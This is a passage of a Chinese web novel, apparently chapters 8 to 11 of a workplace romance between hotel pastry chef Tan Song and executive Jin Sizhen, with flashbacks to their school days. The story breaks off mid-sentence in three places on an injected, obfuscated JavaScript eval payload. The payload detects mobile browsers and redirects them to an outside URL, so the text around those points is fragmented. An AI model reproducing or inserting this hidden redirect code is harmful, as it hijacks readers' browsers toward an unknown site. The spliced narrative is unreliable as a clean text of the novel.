他眼神轻飘飘地扫过众人,“如果影响到万洲跟环宇的合作,这个后果谁来承担啊?” 众人噤声,纷纷垂下头不敢看他,连被骚扰的女服务生也停止了哭泣,咬着下唇,一言不发。 檀颂抬头看了靳司珩一眼,没做任何反应。 倒是那位小陈总,听靳司珩这么说,觉得自己又行了,腰板挺直。靳司珩收回视线,重新看向他,笑着问:“小陈总想怎么解决这件事呢?” “也简单,”小陈总昂着下巴,指着檀颂,重复了一遍刚才的话:“我想要她,靳总赏个脸,让这位姐姐陪我喝两杯。” 他说得理直气壮,并没有觉得这个要求有多过分。 对于他们那个圈子的大多数人来说,女人和酒没有区别,都是生活的调味剂,召之即来挥之即去的玩物,没有人会为了女人放弃利益。 小陈总信心满满,在他看来,一个员工而已,靳司珩不会太放在心上。 沉默半晌,靳司珩忽地嗤笑一声,半垂下眼皮,眼里带着轻慢。跟他站在一起,小陈总像个瘦不拉几的小鸡崽,连看他都要仰起头。 “一个员工而已,笨手笨脚的,怎么能把小陈总伺候好呢?”他说着,话锋一转,“不如这样吧,我陪你喝,你看怎么样?” “……”小陈总的脸色一瞬间变换了好几种颜色,他嘴唇嗫嚅着,却半天没说出话。 其他众人也都相当震惊,只有檀颂,照旧是一副与我无关的冷淡表情。 靳司珩似乎没看到他们的表情一样,自顾自继续说道:“我上周和陈总吃饭的时候,他还想让我多关照关照你,择日不如撞日,我看不如就趁今天吧,咱俩先培养培养感情怎么样?” 他背对众人,双手抄兜,居高临下地睨着面前的男人,唇角勾起抹轻蔑的弧度。 直到此时,小陈总才后知后觉地意识到不对劲儿。 靳司珩的态度,根本不是要解决问题的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14496494|154856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “靳、靳总,我其实……” 他话没说完,脖子被却靳司珩一把抱住,往外扯。 “别客气,”靳司珩说,“正好我一会儿没什么事了。” 然后,他又压低声音,用只有他们两个人能听到的声音说道:“别让我再说第二遍。”他依旧温和地笑着,仿佛在跟人讨论今晚吃什么一样。 瞬间,小陈总不挣扎了,眼里涌上一股懊悔的情绪。 走了两步,靳司珩停住脚步,回过头,朝后面的众人看去,温声道:“你们,快回去干活吧。” 他的视线在略过檀颂时停顿了一秒,然后头也不回地带着小陈总走了。 大老板发了话,众人立刻散开,经理让闫绪和女服务员留下,说要单独聊聊,檀颂无视闫绪求助的目光,兀自回了饼房。 见她回来,何奇连忙迎上去询问情况。其他人没说话,但都竖着耳朵偷听。 檀颂:“没事儿,都解决了。” 她往厨房里面走,何奇跟在后面,又问:“听说靳总亲自过来解决的,是真的吗?” 见她大有一副刨根问底的架势,檀颂无奈道:“你专心工作吧。” 何奇嘟着嘴,不情不愿地走了。可即便檀颂不说,别人也会说,没过多久,闫绪打客人被大老板亲自收拾的消息就传遍了员工群。 闫绪还没回来,这会儿饼房也不怎么忙,几个小姑娘无聊就谈论起这件事儿,聊着聊着便又提到了靳司珩。 甲说:“我觉得吧,其实除了花心之外,咱们靳总还挺有魅力的。” 乙说:“我也觉得,长得帅,身材好,有钱,还有能力。” 丙不怀好意道:“能力,你指的是哪方面的能力?” 几个姑娘心照不宣地大笑。 她们说话的声音不大不小,刚好能落进檀颂的耳朵里。 靳司珩。 檀颂默念了遍这个名字,蓦地想起高中时似乎也是这样,她经常能在别的女生嘴里听到跟他有关的风花雪月。 媒体曾经对靳司珩做过专访,深扒过他的过往经历,评价他十八岁前,是漂流在外的落魄贵公子,十八岁后,是商界不可多得天才。 十八岁那年,靳司珩被靳家寻回,靳万州公开承认了他长子的身份,没多久,他被送去国外读书,二十三岁被安排进了万洲集团,从基层职员做起,短短五年时间,便凭借自身出色的能力坐上了万洲集团二把手的位置。 更有传言说,他早就架空了靳万州的势力,现在靳家所有的产业,都被他握在了手里,至于靳万州的原配夫人以及她亲生的那位二少爷,也要仰他鼻息。 其他传言檀颂不知真假,但靳司珩能力强确实是事实,高中那会儿有晚自习,别的学生都埋头做题,他却总是趴在桌上睡觉,可每次考试,他都能名列前茅。 就,真的很拉仇恨。 女生们对他芳心暗许,男生们就是看他各种不顺眼。 …… 檀颂及时回神,看见何奇她们还在聊天,好像没人注意到她刚才的出神。为了避免再陷入到那些没用的回忆里,檀颂系上围裙,开始研究起新品。 8. 第 8 章 晚上十一点,檀颂下班。 外面不知何时下起了雨,雨势很大,其中还夹杂着雪粒。 雨和雪加剧了早春夜晚的寒冷。 檀颂站在酒店门口的门廊下,探手出去,雨珠落在她掌心瞬间四分五裂,带着些微疼痛。 这雨,看样子一时半会儿停不了了。 她点开手机,打车的队伍已经排到一百多位了。檀颂无声叹气,看样子今晚要留在酒店值夜班了。 正想着,身后传来皮鞋踩地的脚步声。 以为是要离开的客人,檀颂没有向后看,垂下眼帘,准备趁人不注意的时候回去,却听那人忽然说:“这雨下得这么大,等雨停了,会有彩虹吗?” 檀颂停住脚步,下意识抬头。 靳司珩双手插兜,似是察觉到她的视线,偏头看过来,对上她的目光,然后眉心微挑,又问:“你说,会有彩虹吗?” 此时四下无人,耳边只剩下大雨砸落在地的声音,滴滴答答,时间仿佛被撕开了一道裂缝,檀颂好似听到了另一阵来自记忆深处的雨声。 眼前,靳司珩的脸忽然变得模糊起来,连带着,檀颂脑海里也出现了一段不甚清晰的记忆。 那是,跟十八岁的她有关的一段记忆。 她隐约记得,那天,她因为逃晚自习被教导主任抓到,跟她一起的,还有十八岁的靳司珩。 教导主任罚他们两个晚自习以后打扫办公区的卫生,刚打扫到一半的时候,窗外开始下起瓢泼大雨。 等打扫完毕,学校里基本没什么人了,整栋教学楼黑洞洞、静悄悄的,只有一楼的门廊还亮着两盏灯。 她和靳司珩都没带伞,只能坐在门廊下的台阶上等雨停。 她等得无聊,便伸手接雨玩,而靳司珩坐在一边,像没骨头似的,上半身靠在廊柱上,闭着眼睛休息。 玩了一会儿,她觉得更无聊了,就想着跟程司珩说说话。 “喂,”她单手托着下巴,没话找话:“你每天在学校睡那么多觉,回家还能睡着吗?” 少年睁开眼睛,盯着她,嘴唇缓缓动了动,懒懒地吐出四个字:“关你屁事。” “我靠,你这人可真没礼貌。”她差点儿炸毛,可一看到他眼底的乌青,炸起的毛顿时又收了回去,“算了,懒得跟你计较。” 她转过身打算不再搭理他。 又过了一会儿,雨势更大了,她仰起头,盯着漆黑的雨幕,小声说:“这雨下得这么大,等雨停了,天上会有彩虹吗?” 她说话的声音很低,说完以后,少年好半天都没有反应,所以她以为他没有听见。 …… 檀颂收回思绪,靳司珩仍在看着她,眼皮半垂,带着几分探究,又像是在透过她看另一个人。 她后退了一步,半恭半敬地叫了声靳总。 靳司珩勾起唇,眼中的情绪转瞬消失,片刻后又重新挂上温和的笑,“刚才,没吓到你吧?” “没有。”檀颂诚实回答。 视线下移,她发现靳司珩身上穿的西装不是刚才那套,这么冷的天,他没穿大衣,西装里面似乎也只有一件枪灰色的衬衫。 夜风裹挟着雨雪迎面吹来,吹得他衬衫领口又大了些,檀颂紧了紧身上的大衣,迟疑着开口:“我——” 一个字音尚未说清楚,便被门口传来的高跟鞋声打断,随之响起的还有一道女声:“靳总,您在这儿啊。” 檀颂识相地闭上嘴,又往后退了几步,退到门廊的边缘,把中间的位置让出来。 出来的女人她认识,叫关谨姝,名声大噪的女明星,也是《崛起》的女主角。 关谨姝是明艳型美人,五官艳丽,红唇带媚,笑容里藏着锋锐,可她却钟爱白色的裙子,出席活动从未穿过其他颜色。 高跟鞋的声音持续未停,关谨姝扫了一眼檀颂,径直走到靳司珩面前,问:“靳总,我们可以走了吗?” “嗯。”靳司珩双手插兜,视线看向外面的雨幕,漫不经心地点了点头。 没过多久,一辆黑色的库里南缓缓停在他们面前,靳司珩和关谨姝先后上了车,不过车子没有立刻开走。 副驾驶位的门被打开,宋秦手里拿了把雨伞,下车后直奔檀颂。 “檀小姐。” 檀颂还在不停刷新打车界面,忽然听身后有人叫她,她回头,见是靳司珩的助理,便问道:“是靳总有什么事吗?” 宋秦把伞递了过去,“靳总让我给你送把伞。” 伞也是黑色的,上面印有万洲集团的logo,一看就是批量定制的。 “谢谢。”雨伞她正好能用得上,檀颂也没矫情,接过雨伞,跟宋秦说:“麻烦帮我跟靳总说声谢谢。” “好的。”送完伞,宋秦转身回了车上。 车子很快开走了,檀颂取消打车排队,把手机放回衣服口袋里,准备撑伞去坐地铁,恰好这时一晚上没见的闫绪也从酒店里出来。 “阿檀姐。” 檀颂回头看去,闫绪脸上带着伤,眼角和唇边都有淤青,不过他的表情放松,好像没有受什么影响。 走到檀颂面前,闫绪说:“阿檀姐,这么晚了,让我送你回家吧?” 檀颂扫了眼他手里的头盔,问:“骑摩托车吗?” “呃——”闫绪把头盔往身后藏,面露窘迫,“打车吧。” 檀颂笑了笑,冲他扬了扬手里的雨伞,说:“不用了,我坐地铁就好。” 走之前,她想起一件事,接着说:“刚才,谢谢你维护我。” 闫绪不好意思地挠头,耳尖微红,“不客气。” 檀颂朝他摆手:“那我先走了,明天见。” “明天见,阿檀姐。” 檀颂撑开伞,钻进了雨幕中。 …… 小区门口那条路上的路灯一到下雨天就不亮,檀颂一手举着伞一手用手机打着光,走得小心翼翼。快进小区时,从里面开出来一辆车,不知道司机是故意的还是没有看见她,在经过她身侧时没有减速,轮胎快速压过地面上的积水,溅起无数水珠,檀颂躲闪不及,被溅了一身脏水。 “……” 她看着那辆车头也不回地开走,无奈地叹了口气。 有时候她都佩服自己,遇到这种事居然还能这么心平气和。 要是以前的她…… 檀颂继续往家里走,心里想着,要是十八岁的她,大概会扑到那辆车上,跟司机来个同归于尽吧。 回到家,把弄脏的大衣脱下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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电视上的节目还在咿咿呀呀的表演着,但程玉湘这会儿的注意力全在靳司珩身上,她摸了摸靳司珩的脸,看着他眼睛里的血丝,心疼地说:“怎么这么晚还没休息?” 她的手很粗糙,手心满是老茧。 靳司珩笑了笑,拉下她的手,反问:“您这不是也还没睡?” “我是白天睡多了,晚上睡不着。倒是你,工作再忙,也要多注意身体。” “行,我知道。”靳司珩无所谓说道。 程玉湘听出他话里的敷衍,没好气地朝他翻了个白眼,靳司珩自知理亏,连忙讨好般地哄她:“好了好了,妈,我知道错了,下次一定听您的话,肯定十点准时睡觉好不好?” 程玉湘用手指戳他的脑袋,像小时候一样恶狠狠教育:“你要不是我儿子,我才懒得管你。” “对对对。”靳司珩顺着她说,“我错了。” 这个话题到此结束,程玉湘忽然提起那束花,“对了,今天良空过来看我了,那孩子有心了,还知道我喜欢百合花。” 靳司珩没吭声。 程玉湘自顾自说着:“阿珩,等你有空了去看看他妈妈吧,记得带份礼物,你跟良空是亲兄弟,对他妈妈尊敬点儿。” 9. 第 9 章 到第二天早上,雨还在淅淅沥沥地下。檀颂出门前,从鞋柜下面那层拿了把自己的雨伞,那里面放了好几把伞。 檀颂记性不好,总记不住拿伞,每次遇到下雨天都临时买,久而久之家里存了好多伞。 她把靳司珩借她的那把也拿上了,想等再见到他那位助理的时候还回去。 几天之后的周六下午,酒店里发生了一件事,一个男人带着小三来开房,被他老婆捉奸在床了。听说三个人从房间打到走廊,被好多人拍了视频,最后还叫了警察。 这件事闹得挺大,没多久酒店内部就传遍了。 九洲国际作为高奢品牌酒店,一直很注重保护客人隐私,所以有钱人带着情人来开房这种事并不少见,但基本没发生过被捉奸的事情。 员工们都觉得这事挺新鲜的,私下聊得热火朝天,就连闫绪,也跟何奇她们凑在一起嘀嘀咕咕了好半天。 不过八卦归八卦,他们的工作倒是一点儿也没落下,只要不耽误工作进度,檀颂也不会特意去说什么。 住三十五楼总统套房的客人点了好多甜品,其中有一道是主厨推荐菜单里的蛋糕,名叫烈焰雪山,需要现场操作,所以檀颂得亲自把甜点送上去。 她推着餐车,乘专门用来送餐的电梯上楼。 到了三十五楼,从电梯出来,右拐便是走廊。三十五楼一共两间总统套房,离电梯最近的那间,房门大敞,捉奸的事情过去没多久,里面仍是一片狼藉,两位保洁阿姨在里面来来回回走动,似是在打扫。 檀颂只看了一眼就收回目光,继续推着餐车往里走。 来到另一间套房门口,她按了下门铃。 房门很快被人打开,是个很年轻的男人,穿得花里胡哨,脸上还有明显的口红印。 檀颂朝他微微颔首,公事公办说道:“您好,来送餐。” “进来吧。”男人侧身,给她让出路。 檀颂推着餐车进了房间,男人在她身后关上门。 房间明显被布置过,地上撒了玫瑰花和气球,客厅的墙面上挂着「HAPPYBIRTHDAY」字样的气球。除此之外,沙发上坐满了人,有男有女,他们一边喝着酒一边聊天,沙发边歪歪扭扭地堆满了包装精致的礼盒,在客厅另一边,也有几个人在围着桌子打牌。 靳司珩和关谨姝正站在落地窗边聊天,檀颂进来时,不经意间正好瞧见关谨姝捂嘴轻笑。 落日余晖下,男帅女美,画面很是养眼。 跟在檀颂后面的男人指挥她把甜点放在茶几上,说话声似乎惊动了落地窗边的两个人,他们把视线投了过来。 檀颂恍若未觉,弯腰将小甜点一一摆放到茶几上。 她的到来并没有引起多大的关注度,那些人当她不存在一样,聊天的内容仍是无所顾忌。 离得沙发近了,那些内容自然而然传进了檀颂耳朵里,她不想听都不行。 一个女人说:“可惜了,你们没看到刚才那个场面,特劲爆,陈仕德跟他那个小情儿俩人被他老婆追着打,连衣服都没穿。” 另一个女人问:“陈仕德养小情人的事又不是什么秘密,他老婆以前能忍,怎么这次忍不了了?” 开门的男人回答:“能因为什么?肯定是利益呗,陈仕德养的小四好像怀孕了。” 第二个女人又问:“你怎么知道的?” “前几天我跟珩哥在医院看见陈仕德带那姑娘去妇产科检查。”男人喝了口酒,随即骂了句脏话:“操!听说那姑娘才二十岁,刚上大学,陈仕德这老男人可真他妈是个禽兽!” 有人打趣:“卫淮,这话别人说还成,你说就不合适了吧?” “对啊,”另一人接话,“你没交过二十来岁的女朋友?这话说出来你自己信吗?” 开门的男人怒了:“老子那他妈可是正儿八经处对象,咱可没让人学生妹怀孕。” 有人嘲了句:“你还觉得自己挺光荣。” 这时,靳司珩绕过众人,走到单人沙发前坐下,关谨姝则参与进了另一边的牌局。 开门的男人问靳司珩:“我刚才怎么看你是跟陈仕德老婆一起上来的,你不会是特意带她上来捉奸的吧?” 靳司珩轻笑,不说是也不说不是,他轻轻捻动腕间的手串,目光似有若无地落在檀颂身上。 “我靠,我还以为她是来给你庆生的呢。”男人自顾自说着,忽然想到什么话音一转:“不对啊,靳司珩,你怎么爱管这种闲事了?” “哦,”靳司珩靠在沙发背上,姿态懒懒散散的,说话也是云淡风轻的样子,“我呢,跟他儿子有些私人恩怨,所以做个顺水人情而已。” 这边,檀颂从保温箱里取出那个名为烈焰雪山的蛋糕,放在茶几正中央。 这个蛋糕是用海绵蛋糕胚堆出山脉的大致形状,然后辅以巧克力涂抹表面和做装饰物,冷冻固形,最后用白巧涂抹山体,再撒下椰蓉粉做出白雪皑皑的效果。 檀颂往山顶浇了些朗姆酒,随后用喷枪点燃,莹蓝色的火焰跃动,几秒后山顶的白巧融化,藏在里面的红巧岩浆裹挟着火焰顺山体的脉络向四周漫延,宛如火山喷发。 “我靠!牛逼啊,这蛋糕怎么做出来的?” 说话的还是刚才给檀颂开门的男人,他一脸惊叹,掏出手机对着蛋糕“咔咔”一顿拍。 檀颂没说话,倒是靳司珩先慢慢悠悠开了口:“这蛋糕,上面是不是缺了点儿东西?” 众人一致看向蛋糕,这会儿岩浆已经停止流动了,整个蛋糕变成一个被红巧覆盖的火山形状。 开门的男人把脸凑过去仔细瞧了瞧,疑惑地问:“这不挺好的,缺什么?” 靳司珩没理他,搭在沙发扶手上的手轻轻敲了敲,然后抬头看向檀颂,温声问:“这上面是不是少了几个字?” 坐着的众人忽然噤声,全都用那种不可置信的眼神看着他。 靳司珩视若无睹,依旧看着檀颂,眼眸深邃,唇角勾勒出一抹温和的笑,显得有些平易近人。 檀颂解释道:“抱歉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14496496|154856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,靳总,这款蛋糕造型比较特殊,如果您点单的时候没有特别要求写字的话我们是不会在上面做多余装饰的,否则会影响蛋糕的美观。” 所以,这是你的问题,别没事儿找事儿。 她在心里腹诽。 “这样啊——”靳司珩若有所思。 檀颂微笑:“几位点的餐已经全部送到,祝各位尊贵的客人用餐愉快,再见。” 说完,她就要推着餐车离开。 “等等!”靳司珩出声阻止了她离开的脚步。 檀颂继续保持微笑,“请问靳总还有什么事儿吗?” 靳司珩也同样笑意温和,“我记得酒店员工手册里有一条是,遇到节日或者客人过生日,员工要主动向客人表达祝福。” “……” 卫淮等几个人嗅到一丝不对劲儿,目光齐刷刷地,瞅瞅靳司珩又看看檀颂,大气不敢喘。 檀颂险些维持不住笑容。 酒店这条规定只是针对在前厅工作的服务人员的,对她这种饼房人员没有硬性要求,不过既然靳司珩提出来了,檀颂也想尽快离开这里,只好顺着他的意思。 前后只沉默了一秒,檀颂便开口:“靳总,祝您生日快乐。” 靳司珩脸上笑意加深,“谢谢。” “……” 檀颂转身推着餐车离开房间,关门的时候,她不经意抬眼,透过一丝缝隙,却恰好撞上靳司珩投过来的目光,男人脸上的表情未变,朝她微微歪了下头。 檀颂心里忽然涌起一股说不清道不明的情绪。 淡淡的,一闪而逝。 进了电梯,檀颂盯着电子屏上不断变换的数字,思绪渐渐剥离,不知怎么的,她竟然想起了第一次见到靳司珩的画面。 那时她刚读高二,跟着明舒从余安搬来津州,明怀云帮忙托关系把她的学籍也转到了津州的学校。到新学校报道的那天,班主任带她去班里,让她站在讲台上做自我介绍。 “大家好,我叫明棠,明天的明,海棠花的棠。你们别看我是女生,其实我打架很厉害的,如果有人欺负你们,你们可以告诉我,以后我罩着你们。” 那时候她性子跳脱,面对六十多张陌生的脸也丝毫不怵,想说什么就说什么,也不管别人怎么想。 因为她这些话,安静的课堂立刻热闹了起来,有人起哄,有人冷嘲,班主任用板擦敲了敲桌面,让他们保持安静。 吵闹的氛围里,有个人显得格格不入。 明棠向台下扫视,轻飘飘的视线定格在最后一排靠窗的位置上,那个位置坐着个男生,此时他正撑着下巴看向窗外。 男生上身穿了件洗到发白的短袖,校服外套被披在肩上,他应该是刚睡醒,发丝凌乱,不过短短一分钟,他就连续打了四五个哈欠。 似乎教室内发生的一切都吸引不了他的注意。 那时候檀颂还以为,他是电视剧里那种高冷的学神。 后来才知道,学神是真的,但高冷嘛,不过是一层表象而已。 10. 第 10 章 轮休那天檀颂一觉睡到中午十一点半,外面天气很好,阳光投射到紧闭的窗帘上,在窗户上形成一道明媚的光斑。 许久没睡过这么长时间了,刚睡醒那阵儿檀颂脑子都睡蒙了,有些不知今夕是何夕的迷茫,她抱着被子又躺了一会儿,等到十二点整,才慢慢悠悠地下床洗漱。 冰箱里还有她自己之前做的面包试验品,味道不错,她就没舍得扔,放在冰箱里,每天当早饭吃。 檀颂曾经在资助人的帮助下参加过国际形式的甜品大赛,并拿到了第二名的好成绩,她做甜品的手艺绝对堪称一绝,但她做饭的手艺就不太行了,平时自己在家也就勉强煮碗泡面。 洗漱完,檀颂从冰箱里拿了块面包,配了一杯果汁吃了。 下午,她提着那件弄脏的大衣出了门。 最近的干洗店离她住的小区也有七公里,走着过去有点儿远,所以檀颂在楼下扫了一辆共享单车。 四月,气温回暖,拂面的微风里也带上了干净的青草香。 那家干洗店在万洲商场里面,檀颂按照导航找过去,把共享单车停在指定的位置上,商场外的3D电子屏上在播放一则关于保护海洋的公益性广告,檀颂抬头看了眼,广告的配文是—— 【你是否还记得第一次看见大海的感觉?】 在原地停顿了一秒,檀颂拎着装大衣的袋子往商场里面走。干洗店在商场负一层,对面是超市,跟干洗店老板确认过来取的日期之后,她从店里出来,然后进了超市。 家里的冰箱都空了好久了,她想买点儿东西回去充盈一下,从门口扫了个购物车,推着往里慢悠悠地逛。 刚走到水果区,电话响了,是万昭年打来的。 檀颂按了接听。 “喂,阿檀。” “嗯?怎么了?” 万昭年先是叹了口气,接着愤愤地说:“我老板让我下周带个团去欧洲。” 万昭年在一家旅游公司工作,职位是领队,走的就是欧洲线,需要频繁地带旅行团出国,有时候一个月出去两次,万昭年也很少抱怨。 檀颂不禁觉得好笑:“怎么啦?这次怎么不高兴了?” “下周日可是你的生日。”万昭年说,“我不是很早之前就跟你说过今年我要去你那边陪你过。” 檀颂愣了愣,下周是她生日啊。 她都忘了。 万昭年还在抱怨:“妈的,我本来都请好假了,结果我领导昨天跟我说原本定好的领队突然离职了,让我救一下场,靠!” “没关系,”檀颂安抚她,“工作重要,而且要不是你说,我都忘了下周是我生日。” “唉。”万昭年的语气充满无奈,“那行吧,等下我约个快递,把生日礼物给你寄过去啊。” “你买的什么啊?”檀颂笑问。 “秘密。” 挂了电话,檀颂继续逛超市。她挑了些芒果和车厘子,想着晚上回家自己煮火锅吃,于是又买了些食材。 商场一楼基本都是卖珠宝首饰和化妆品的,檀颂提着一袋食材乘扶梯上到一楼,在正对扶梯口的那家珠宝店门口遇见了宋秦。 见到她,宋秦愣了下,随即飞快朝身后的店里看了眼。檀颂顺着他的视线看过去,看见靳司珩在里面,柜姐正小心翼翼地取出一条珠宝项链供他仔细观看。 檀颂离得有些远,但也能看见那条项链在灯光下熠熠生辉。 宋秦咳嗽了一声,叫道:“你好,檀小姐。” 对方都主动打招呼了,檀颂也没有装看不见的道理,“你好,宋先生。” 虽然她也不太懂为什么宋秦每次跟她打招呼都那么得客气,如果按照集团里的职位规划算的话,她只是个最底层的职工,而宋秦可是大老板的特助。 打完招呼,檀颂就想走了,宋秦却主动走过来提出要帮她提东西并送她回家。 檀颂婉言拒绝。 开什么玩笑,谁愿意让领导送自己回家啊。 这时靳司珩也朝外面看了过来,檀颂跟他短暂地视线交汇一秒,提着东西转身离开。刚走了两步,她忽地想起一件事儿,又折回去跟宋秦说:“宋先生,上次你借我的伞我放在酒店了,麻烦你下次再去酒店的时候找我一下,我把伞还你。” 宋秦:“不用了,那伞你留着应急用吧,公司备了挺多的,少这一把也无所谓。” 反正也不是他的伞。 “哦,”檀颂说:“那谢谢你了。” 等檀颂走后,宋秦要回店里,一转身,就见自家老板正抱臂靠在门框上,似笑非笑地盯着他。 宋秦瞬间后背发凉。 “宋秦,”靳司珩拖腔带调地开口,“你倒是挺会借花献佛啊。” “靳总,”宋秦斟酌着说辞,“我跟檀小姐说过那把伞是您送的。” 靳司珩冷哼了声,显然没把他的解释听进去,沉默了一秒,他说:“下周末休息取消,你代我去法国见Elise太太。” 宋秦:“……好的。” 靳司珩从柜姐手上接过打包好的珠宝项链,迈步往外走,宋秦赶紧跟上。到地下车库,司机李叔在那儿等着他们。 上了车,李叔问靳司珩去哪儿。 靳司珩:“老宅。” - 靳家老宅在市郊,是一座拥有百年历史的西洋式庄园。 靳家是百年世家,祖上从政,靳司珩的曾曾祖父在朝廷中做过大官,家业便是在那时积攒下来的,后来战火纷飞,靳万州的祖父投身革命事业,将家业交到了幼子手里。 靳家在靳万州父亲的带领下达到了巅峰期,涉及的产业众多,可以说靳万州就是含着金汤匙出生的大少爷,从小锦衣玉食,不过他二十岁的时候曾跟家里闹翻过,为了一个女孩儿。 他跟那女孩儿是大学同学,两个人自由恋爱,但女人家里就是普通人家,所以他们俩的恋情遭到了靳万州父亲的强烈反对,于是靳万州为了那个女孩儿,跟家里断了联系。 后来为了向自己的父亲证明自己,靳万州和室友联合创办了万洲集团,可当时靳家只有他这一根独苗,他的父亲不允许他脱离家族,为了逼他妥协,他父亲不仅打断了他一条腿,还对万洲集团进行了剿杀,没过多久,万洲集团便处在了破产边缘,他的室友们纷纷跑路,留下靳万州一个人面对巨额债务。 大少爷终究是大少爷,为爱斩荆棘的勇气终究被现实一点点磨灭,靳万州跟那女孩儿分了手,回家接受了家里安排的相亲,可那女孩儿却在分手后发现自己怀了孕,她悄悄生下了孩子,并在十八年后让孩子回到靳家认祖归宗。 那个偷偷生下靳万州私生子的女孩儿是程玉湘,那孩子就是靳司珩。 这是圈子里大家都熟知的事情,不过像他们这些人,在外面养几个女人、生下几个私生子是很常见的事儿,但像靳家这种,让私生子继承家业的却很少见。 所以总有人说程玉湘手段了得。 一开始,有些人管不住嘴,当面内涵程玉湘,靳司珩总是笑笑,从不过多计较,等他掌权之后,那些人便从圈子里消失了。 后来,再没人敢说过程玉湘的半句不是。 所有人都说,靳司珩比他爸靳万州狠,他下手,从来都是斩草除根不留后患。 到老宅时天已经黑了,交代李叔明天早上来接他之后, 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吴妈笑了笑,问靳司珩:“你吃饭了吗?我让厨房给你做点儿爱吃的?” 靳司珩:“不用了,我不饿。” 打发走吴妈,他转头问靳良空:“阮姨呢?” 靳良空的母亲叫阮素知,就是当年被家里安排与靳万州相亲的女人。阮素知出身书香门第,父母都是大学教授,她本人也是知书达理、温雅贤淑。 靳司珩来到靳家之后,阮素知待他亲厚,从来没有苛待过他,所以靳司珩对她虽不亲近,但敬重有加。 靳良空蔫了吧唧的,“跟老头在二楼书房。” 靳司珩看他这样,不免觉得好笑,一边往楼上走,一边说:“明天让宋秦带你去选辆车。” “真的?”靳良空一听,眼睛立刻亮了。 靳司珩没再理他,留他在原地开心地手舞足蹈。 刚到二楼,便看见了靳万州的秘书,沈璋。 当年靳万州将靳家产业全部融合进了万洲集团,企业动荡,为此他培养了多位心腹,这些人跟着他近三十年,从没换过。不过后来靳司珩掌家,靳万州名为集团董事长,实则权利早已被架空,他的心腹也被排挤出集团权力中心,靳万州身边只剩下沈璋,偶尔帮他处理一些杂事。 “靳总。”沈璋恭恭敬敬叫了声靳司珩。 “沈叔最近身体还好吗?”靳司珩脸上挂着温和的笑,关切地问道,“听说您夫人前段时间住院了,我都没去看望过您呢。” 沈璋连连摆手,“我还得多谢靳总帮忙联系贺医生,能尽快给我老婆做手术,不然不知道要等到什么时候了。” “小事儿。”靳司珩温声说,“沈叔有事先去忙吧,我去看看我爸。” 沈璋:“好的。” 靳司珩与他擦肩而过,下楼前,沈璋回头看了眼靳司珩的背影,在高位上沉淀过几年,靳司珩身上带着一种稳重又凌厉的气场,早已不见当年任人拿捏的软弱。 沈璋忽然想到,当初靳司珩正式接手靳家的第一天,也是像刚才那样,神态温和,以一副彬彬有礼的姿态将他们这些跟在靳万州身边的人清退,不留任何情面。 沈璋猜测,靳司珩之所以允许他留在靳万州身边,大概是看在他曾对自己有过一段时间的教导之恩的面子上。 靳司珩点了点头,径自走到靳万州的书房门口,敲了敲门。 “进来。”里面传来一道略显沧桑的声音。 靳司珩推开沉重的木门,抬眼,对上里面两双眼睛。 11. 第 11 章 圈里人都传,说靳万州年轻时是个混不吝,各种离经叛道的事都做,现在年纪大了,性子反而和善了许多。 靳司珩每每听说这些话,都以冷笑反驳。 其实他的性格随了靳万州。 道貌岸然,精于算计。 靳万州爱好书法,他的书房挂了好几副他自己写的字画。靳万州坐在靠窗的椅子上,阮素知站在他身后,轻轻地帮他按揉太阳穴。 “司珩回来了,”阮素知笑着招呼靳司珩,“快过来坐。” 阮素知比靳万州小两岁,今年五十四,但自小便生在富贵人家,从未吃过苦,后天又保养得宜,看着不过才三十七、八。 靳司珩走过去,对她微微颔首:“阮姨。” 阮素知问:“你母亲的身体怎么样了?” “已经好很多了。”靳司珩答。 “这是送您的礼物。”他把礼盒递给阮素知,后者很是惊喜,双手接过。 盒子里是一只绿色的翡翠手镯,阮素知很是喜欢,顺势坐到靳万州旁边的椅子上,迫不及待戴在手上试了试,尺寸合适,而且绿色也更衬得她皮肤白皙。 “谢谢。”她对靳司珩说。 靳司珩坐到靳万州对面,他坐下没多久,吴妈送进来一壶热茶和一些小点心。靳司珩给自己倒了杯茶,自顾自喝了起来。 靳万州摩挲着手里的拐杖,接过阮素知递来的热茶,抿了口,然后慢条斯理地进入主题:“跟温家联姻的事,你怎么想的?” 靳司珩动作一顿,随后撩起眼皮,直视靳万州的目光。 不愧是父子,眉眼确有几分相似。 其实说起来,他和靳良空能有一副好皮囊,主要还是得益于靳万州。靳万州长相英俊,据说他读书时还尚未掌家,圈内人不认识他,经常有富婆开着豪车去学校堵他,现在年纪大了,相貌没多少变化,只是脸上多了些细纹,却给他添了几分儒雅深沉的气质。 靳司珩扯了下唇角,表情仍是淡淡的,看不出任何笑意,“跟我有关系吗?” “跟你没关系?”靳万州冷哼了声,“不是你自己惹出来的事吗?” 靳司珩沉默。 